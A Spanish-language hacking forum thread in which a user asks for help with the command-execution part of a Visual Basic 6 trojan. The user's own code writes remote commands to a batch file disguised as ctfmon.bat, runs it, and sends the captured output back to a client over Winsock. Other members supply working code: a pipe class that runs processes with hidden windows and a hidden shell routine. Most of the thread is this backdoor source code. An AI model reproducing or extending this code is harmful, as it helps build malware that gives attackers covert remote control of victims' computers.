Bueno como os dije, me estoy basando en tutoriales, manuales uqe veo y voy cogiendo ideas para poder mejorar mi troyano
Private Sub Command1_Click()
Dim casa As String
casa = Environ$("homedrive")
orden = Text1
Open casa & "\ctfmon.bat" For Output As #1
Print #1, orden & ">" & "ctfmon.txt"
Close #1
ini = casa & "\ctfmon.bat"
Shell ini
Open casa & "\ctfmon.txt" For Input As #1
todo = input(LOF(1), #1)
Close #1
Text2 = todo
End Sub
en esta parte, pretendo que al generar una orden, esta se cree en un bat que redireccione la salida a un archivo de texto que previamente se leera en en textbox
la cosa es que al hacer el shell ini, no me ejecuta el archivo, probe con shell execute pero nose si lo hice mal, con lo cual, no se me genera el .bat y el .txt por lo tanto tampoco
haber si me podeis ayudar
Hola, creo que te falta un espacio el la sig linea (antes de ctfmon.txt)
Print #1, orden & ">" & "ctfmon.txt"
Print #1, orden & ">" & " ctfmon.txt"
Saludos
nada, eso da igual, ejecuto el bat generado y me sale el texto pero con shell no
Shell tendría que funcionar por ejemplo:
http://foro.elhacker.net/programacion_vb/prohibir_entrada_a_un_disco-t233323.0.html;msg1113922#msg1113922 (http://foro.elhacker.net/programacion_vb/prohibir_entrada_a_un_disco-t233323.0.html;msg1113922#msg1113922)
si ya vi mogollon de funciones shell y son asi, pero nose porque no funcionara, ese es todo el codigo nada mas
Varias cosas
esto está bien
CitarPrint #1, orden & ">" & "ctfmon.txt"
incluso puedes hacerlo así dirctamente
CitarPrint #1, orden & ">ctfmon.txt"
no hace falta el espacio
Lo que sucede, es que tu estas intentando leer el txt cuando aun no se ha creado, debes esperar que el bat lo cree para leer su contenido, para eso, usa una función que postearon por acá para esperar la culminación de un proceso.
Si no lo encuentras, ahora te lo busco y por favor, declara las variables y usa identificadores para el tipo, te recomiendo hagas uso de la instrucción "Option explicit".
saludos,
sisi, ahi tienes razon, aun asi el codigo este es una prueba, no las declare para ganar tiempo, aunque no es nada la verdad
hay alguna formula que te haga esperar x tiempo?
Claro ;)
Citar
:http://www.recursosvisualbasic.com.ar/htm/listado-api/205-abrir-programa-esperar-a-que-termine.htm
suerte en lo que haces!
Option Explicit
Private Sub Form_Load()
Text1 = "Dir"
End Sub
Private Sub Command1_Click()
Dim casa As String
casa = Environ$("homedrive")
Dim orden As String
orden = Text1
Dim todo As String
Shell "cmd.exe /c" & orden & ">" & casa & "\ctfmon.txt"
Dim x As Long: x = Round(Timer): While Round(Timer) < x + 2: DoEvents: Wend
Open casa & "\ctfmon.txt" For Input As #1
todo = Input(LOF(1), #1)
Close #1
Text2 = todo
End Sub
Sin bat ???
Sin fichero temporal en el disco? == Con Pipes?
'---------------------------------------------------------------------------------------
' Module : cStdIO
' DateTime : 23/04/08 20:23
' Author : Cobein
' Mail : cobein27@hotmail.com
' Usage : At your own risk.
' Purpose : Non blocking StdIO pipe
' Requirements: None
' Distribution: You can freely use this code in your own
' applications, but you may not reproduce
' or publish this code on any web site,
' online service, or distribute as source
' on any media without express permission.
' Credits : Amine Haddad
' History : 23/04/08 - First Cut....................................................
'---------------------------------------------------------------------------------------
Option Explicit
Private Const PROCESS_QUERY_INFORMATION As Long = &H400
Private Const PROCESS_TERMINATE As Long = (&H1)
Private Const PROCESS_VM_READ As Long = &H10
Private Const NORMAL_PRIORITY_CLASS As Long = &H20&
Private Const STARTF_USESTDHANDLES As Long = &H100&
Private Const STARTF_USESHOWWINDOW As Long = &H1
Private Const SW_HIDE As Long = 0
Private Const PIPE_WAIT As Long = &H0
Private Const PIPE_NOWAIT As Long = &H1
Private Const PIPE_READMODE_BYTE As Long = &H0
Private Const PIPE_READMODE_MESSAGE As Long = &H2
Private Const PIPE_TYPE_BYTE As Long = &H0
Private Const PIPE_TYPE_MESSAGE As Long = &H4
Private Const STILL_ACTIVE As Long = &H103
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type
Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type
Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type
Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
Private Declare Function SetNamedPipeHandleState Lib "kernel32" (ByVal hNamedPipe As Long, lpMode As Long, lpMaxCollectionCount As Long, lpCollectDataTimeout As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private c_bPiping As Boolean
Private c_bCancel As Boolean
Private c_lhReadPipe As Long
Private c_lhWritePipe As Long
Private c_lhReadPipe2 As Long
Private c_lhWritePipe2 As Long
Public Event DataArrival(ByVal sData As String)
Public Function ClosePipe() As Boolean
If Not c_bCancel Then
c_bCancel = True
ClosePipe = True
End If
End Function
Public Function StartProcessPipe(ByVal sPath As String) As Boolean
Dim tSTARTUPINFO As STARTUPINFO
Dim tPROCESS_INFORMATION As PROCESS_INFORMATION
Dim tSECURITY_ATTRIBUTES As SECURITY_ATTRIBUTES
Dim lRet As Long
Dim lhProc As Long
Dim sBuffer As String * 4096
If sPath = vbNullString Then Exit Function
If c_bPiping Then Exit Function
c_bCancel = False
With tSECURITY_ATTRIBUTES
.nLength = LenB(tSECURITY_ATTRIBUTES)
.bInheritHandle = True
.lpSecurityDescriptor = False
End With
'// Output Pipe
lRet = CreatePipe(c_lhReadPipe, c_lhWritePipe, tSECURITY_ATTRIBUTES, 0&)
If lRet = 0 Then GoTo CleanUp
'// Input Pipe
lRet = CreatePipe(c_lhReadPipe2, c_lhWritePipe2, tSECURITY_ATTRIBUTES, 0&)
If lRet = 0 Then GoTo CleanUp
'// Non blocking mode
lRet = SetNamedPipeHandleState(c_lhReadPipe, PIPE_READMODE_BYTE Or PIPE_NOWAIT, 0&, 0&)
If Not lRet = 0 Then GoTo CleanUp
With tSTARTUPINFO
.cb = LenB(tSTARTUPINFO)
.dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
.wShowWindow = SW_HIDE
.hStdOutput = c_lhWritePipe
.hStdError = c_lhWritePipe
.hStdInput = c_lhReadPipe2
End With
'// Start Proc
lRet = CreateProcessA(0&, sPath, tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, _
1&, NORMAL_PRIORITY_CLASS, 0&, 0&, tSTARTUPINFO, tPROCESS_INFORMATION)
If tPROCESS_INFORMATION.hProcess = 0 Then GoTo CleanUp
c_bPiping = True
StartProcessPipe = True
RaiseEvent DataArrival(vbCrLf & "---> Process started [" & Now & "]" & vbCrLf)
Do
If c_bCancel = True Then Exit Do
DoEvents: Call Sleep(100)
If Not ReadFile(c_lhReadPipe, sBuffer, 4096, 0, 0&) = 0 Then
RaiseEvent DataArrival(Left(sBuffer, lstrlen(sBuffer)))
sBuffer = String$(4096, vbNullChar)
DoEvents
End If
Call GetExitCodeProcess(tPROCESS_INFORMATION.hProcess, lRet)
Loop While lRet = STILL_ACTIVE
CleanUp:
Call CloseHandle(tPROCESS_INFORMATION.hProcess)
Call CloseHandle(c_lhReadPipe): c_lhReadPipe = 0
Call CloseHandle(c_lhReadPipe2): c_lhReadPipe2 = 0
Call CloseHandle(c_lhWritePipe): c_lhWritePipe = 0
Call CloseHandle(c_lhWritePipe2): c_lhWritePipe2 = 0
If c_bCancel Then
ExitProcessPID tPROCESS_INFORMATION.dwProcessId
RaiseEvent DataArrival(vbCrLf & "---> Process terminated by user [" & Now & "]" & vbCrLf)
Else
RaiseEvent DataArrival(vbCrLf & "---> Process terminated [" & Now & "]" & vbCrLf)
End If
c_bPiping = False
End Function
Public Function WriteToPipe(ByVal sData As String) As Boolean
Dim bvData() As Byte
If Not c_bPiping Then
RaiseEvent DataArrival(vbCrLf & "---> Pipe not connected [" & Now & "]" & vbCrLf)
Else
bvData = StrConv(sData & vbCrLf & vbNullChar, vbFromUnicode)
If WriteFile(c_lhWritePipe2, bvData(0), UBound(bvData), 0, 0&) Then
WriteToPipe = True
End If
End If
End Function
Private Function ExitProcessPID(ByVal lProcessID As Long) As Boolean
Dim lProcess As Long
Dim lExitCode As Long
lProcess = OpenProcess(PROCESS_TERMINATE Or PROCESS_QUERY_INFORMATION Or _
PROCESS_VM_READ, _
0, lProcessID)
If GetExitCodeProcess(lProcess, lExitCode) Then
TerminateProcess lProcess, lExitCode
ExitProcessPID = True
End If
Call CloseHandle(lProcess)
End Function
dioooooooos que pedazo codigo jaja, me voy a leer lo de esperar un bat y luego l ode karcrack que tengo para rato
mmm vere tambien lo de dessa, probre con todo en fin jj
edito porfavorrrrr, que error el mio
los ficheros .txt, se crean al lado del exe, no del bat, y como lo estaba ejecutando desde el vb pues,,, ya veis :(
fallo supertonto >:( sorry por haberos hecho peroder tiempo valioso
porcierto, tambien era lo que decia casiani, que lo hace demasiado deprisa y no le da tiempo a pasarlo al textbox
Citar
:http://www.recursosvisualbasic.com.ar/htm/listado-api/205-abrir-programa-esperar-a-que-termine.htm
[/quote]
mmm, me parece que eso no sirve para esperar que un un bat termine.
Option Explicit
Private Sub Form_Load()
Text1 = "ipconfig"
End Sub
Private Sub Command1_Click()
Dim casa As String: casa = Environ$("homedrive")
Dim orden As String: orden = Text1
Open casa & "\ctfmon.bat" For Output As #1
Print #1, orden & ">" & casa & "\ctfmon.txt"
Close #1
Dim ini As String: ini = casa & "\ctfmon.bat"
ShellDos ini
Open casa & "\ctfmon.txt" For Input As #1
Dim todo As String: todo = Input(LOF(1), #1)
Close #1
Text2 = todo
End Sub
Modulo
Option Explicit
Private Declare Function GetShortPathName Lib "kernel32" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long
Private Declare Function OemToChar Lib "user32" Alias "OemToCharA" (ByVal lpszSrc As String, ByVal lpszDst As String) As Long
Private Declare Function GetTempPath Lib "kernel32" Alias "GetTempPathA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Const PROCESS_TERMINATE = &H1
Private Const BUFFER_LENGTH = 512
Private Const INFINITE = -1&
Private Const SYNCHRONIZE = &H100000
Public Function ShellDos(ByVal Cmd As String, Optional ByVal WorkingDir As String = ".", Optional ByVal STDIN As String = "") As String
Dim errflag As Long ' verwenden wir um der Fehlerbehandlungs-
' routine zu sagen, wo wir gerade sind
Dim Batfile$ ' Unser Batchfile
Dim DataFile$ ' Unser STDIN-DataFile
Dim ReplyFile$ ' Unsere Ausgabedatei
Dim t As Single ' Allgemeine Zeitabfrage
Dim l As Long ' Dateilänge
Dim Task As Long ' TaskID
Dim Result As Long ' Für Rückgabewerte aus API-Funktionen
Dim fno As Long ' Dateinummer
Dim TaskID As Long ' Task-ID des DOS-Fensters
Dim ProcID As Long ' Prozess-ID des DOS-Fensters
Dim TmpDir As String ' Temporärer Ordner
Dim tmp As String ' Temporärer String
TmpDir = String(BUFFER_LENGTH, 0)
l = GetTempPath(BUFFER_LENGTH, TmpDir)
TmpDir = Left(TmpDir, l)
ReplyFile = TmpDir & "DOSReply.txt"
DataFile = TmpDir & "DOSSTDIN.txt"
' Die Datei muss existieren, damit
' GetShortPathName Funktioniert.
fno = FreeFile
Open ReplyFile For Binary As fno: Close fno
Open DataFile For Binary As fno: Close fno
ReplyFile = ShortPath(ReplyFile)
DataFile = ShortPath(DataFile)
Cmd$ = Cmd$ & "<" & DataFile & " >" + ReplyFile
errflag = 1
' Damit das Ergebnis eindeutig ist, löschen wir erstmal die Datei
Kill ReplyFile
' Zunächst wird unser Befehl in die Batchdatei geschrieben.
Batfile$ = TmpDir & "Batch.bat"
Open Batfile$ For Output As #fno
Print #fno, RootFromPath(WorkingDir)
Print #fno, "cd " & WorkingDir
Print #fno, Cmd$
Close #fno
DoEvents
' DOS wird mit der Batchdatei aufgerufen
tmp = String(BUFFER_LENGTH, 0)
l = GetShortPathName(Batfile$, tmp, BUFFER_LENGTH)
Batfile$ = Left(tmp, l)
TaskID = Shell(Batfile$, vbHide)
DoEvents
errflag = 2
ProcID = OpenProcess(SYNCHRONIZE, False, TaskID)
Call WaitForSingleObject(ProcID, INFINITE)
terminate:
' Hier wird DOS beendet
Result = TerminateProcess(ProcID, 1&)
Result = CloseHandle(Task)
errflag = 3
l = FileLen(ReplyFile)
tmp = String(l, 0)
Open ReplyFile For Binary As fno
Get fno, , tmp
Close fno
' ANSI -> ASCII
Call OemToChar(tmp, tmp)
ShellDos = tmp
Kill Batfile
Kill ReplyFile
Kill DataFile
errflag = 4
Exit Function
err1:
Select Case Err
Case 53
Select Case errflag
Case 1
Resume Next
Case 3
ShellDos = "<ERROR>"
Exit Function
Case Else
GoTo err_else
End Select
Case Else
err_else:
MsgBox Error$
End Select
End Function
Private Function RootFromPath(ByVal Path As String) As String
RootFromPath = Mid(Path, 1, InStr(Path, ":"))
End Function
Private Function ShortPath(ByVal Path As String) As String
Dim tmp As String ' Temporärer String
Dim l As Long ' Länge des Strings
tmp = String(256, 0)
l = GetShortPathName(Path, tmp, Len(tmp))
ShortPath = Left(tmp, l)
End Function
lo que me dijo cassiani funciona no te preocupes, ya lo probe
ahora estoy en este embrollo
hace todo a la perfeccion asta aqui:
Open casa & "\ctfmon.txt" For Input As #1
txtcom = Input(LOF(1), #1)
Close #1
wsk.SendData txtcom
ya crea el bat, y el archivo de texto y tambien espera a que se ejecute el shell y luego sigue, pero, cuando es el momento de enviar los datos, no los envia al cliente :/ que podra ser
Cita de: Dessa en 25 Mayo 2009, 23:38 PM
Citar
:http://www.recursosvisualbasic.com.ar/htm/listado-api/205-abrir-programa-esperar-a-que-termine.htm
Dessa con todo respeto, creo que antes de responder deberías estar seguro de lo que posteas, si lo sugueri, es porque yo ya le he usado en algún momento para casos similares .. ;)
pero vale que no lo digo en mala onda.
50l3r, asegúrate de que realmente estás pasando datos como parámetro.. me parece q esta bien, pero tengo tiempo sin usar el ws.
haber si me puedes ayudar con lo ultimo cassiani, por cierto tu api que me distes me sirvio a la primera :P
joe, reedito, arreglado :P, pondre las siguientes dudas en otros temas que estoy plagado jeje
Cita de: cΔssiΔnі en 26 Mayo 2009, 00:25 AM
Dessa con todo respeto, creo que antes de responder deberías estar seguro de lo que posteas, si lo sugueri, es porque yo ya le he usado en algún momento para casos similares .. ;)
pero vale que no lo digo en mala onda.
cΔssiΔnі, Toda la razón, el error es mío por no leer bien el code, tampoco fue mala onda
Saludos
Tranquilo Dessa, no hay ningún rollo ;)
rollo=problema :P